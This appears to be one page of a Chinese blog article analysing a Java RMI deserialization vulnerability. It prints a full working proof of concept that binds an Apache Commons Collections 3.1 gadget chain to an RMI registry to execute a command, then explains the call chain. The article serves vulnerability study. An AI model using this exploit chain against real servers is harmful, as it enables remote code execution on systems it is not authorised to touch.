RMI反序列化漏洞分析( 二 )

  • return "Server response:"+message;
  • }
  • }
  • 先运行Server,然后运行Client,然后即可进行Server与Client的通信
    RMI反序列化漏洞分析

    文章插图
     
    ?
    RMI反序列化漏洞分析

    文章插图
     
    ?
    三、漏洞复现RMI反序列化漏洞的存在必须包含两个条件:
    1. 能够进行RMI通信
    2. 目标服务器引用了第三方存在反序列化漏洞的jar包
    注:复现的时候需要JDK8 121以下版本,121及以后加了白名单限制,
    这里我们以Apache Commons Collections反序列化漏洞为例,使用的版本为commons-collections.jar 3.1,新建一个漏洞利用的类RMIexploit
    1. package client;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    7. import org.apache.commons.collections.map.LazyMap;
    8. import javax.management.BadAttributeValueExpException;
    9. import java.lang.reflect.Constructor;
    10. import java.lang.reflect.Field;
    11. import java.lang.reflect.InvocationHandler;
    12. import java.lang.reflect.Proxy;
    13. import java.rmi.Remote;
    14. import java.rmi.registry.LocateRegistry;
    15. import java.rmi.registry.Registry;
    16. import java.util.HashMap;
    17. import java.util.Map;
    18. public class RMIexploit {
    19. public static void main(String[] args) throws Exception {
    20. // 远程RMI Server的地址
    21. String ip = "127.0.0.1";
    22. int port = 1099;
    23. // 要执行的命令
    24. String command = "calc";
    25. final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    26. // real chain for after setup
    27. final Transformer[] transformers = new Transformer[] {
    28. new ConstantTransformer(Runtime.class),
    29. new InvokerTransformer("getMethod",
    30. new Class[] {String.class, Class[].class },
    31. new Object[] {"getRuntime", new Class[0] }),
    32. new InvokerTransformer("invoke",
    33. new Class[] {Object.class, Object[].class },
    34. new Object[] {null, new Object[0] }),
    35. new InvokerTransformer("exec",
    36. new Class[] { String.class },
    37. new Object[] { command }),
    38. new ConstantTransformer(1) };
    39. Transformer transformerChain = new ChainedTransformer(transformers);
    40. Map innerMap = new HashMap();
    41. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    42. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    43. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    44. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
    45. valfield.setAccessible(true);
    46. valfield.set(badAttributeValueExpException, entry);
    47. String name = "pwned"+ System.nanoTime();
    48. Map<String, Object> map = new HashMap<String, Object>();
    49. map.put(name, badAttributeValueExpException);
    50. // 获得AnnotationInvocationHandler的构造函数
    51. Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
    52. cl.setAccessible(true);
    53. // 实例化一个代理
    54. InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
    55. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
    56. Remote remote = Remote.class.cast(object);
    57. Registry registry=LocateRegistry.getRegistry(ip,port);
    58. registry.bind(name, remote);
    59. }
    60. }
    然后执行RMIexploit
    RMI反序列化漏洞分析

    文章插图
     
    ?
    四、漏洞分析其实RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步骤,Commons Collections组件的分析网上已经有很多,这里只对本文使用的调用链做简要分析 。
    RMI反序列化漏洞分析

    文章插图
     
    ?
    如上图所示,当序列化的数据到达RMI Server后回自动进行反序列化操作,首先是AnnotationInvocationHandler执行readObject函数;然后调用TiedMapEntry的toString函数,再调用同文件的getValue方法;然后调用到LazyMap的get方法;后面的步骤其实一个循环调用的过程,利用ChainedTransformer中的transform方法,多次调用,直到最后的命令执行 。
    1. public Object transform(Object object) {


      推荐阅读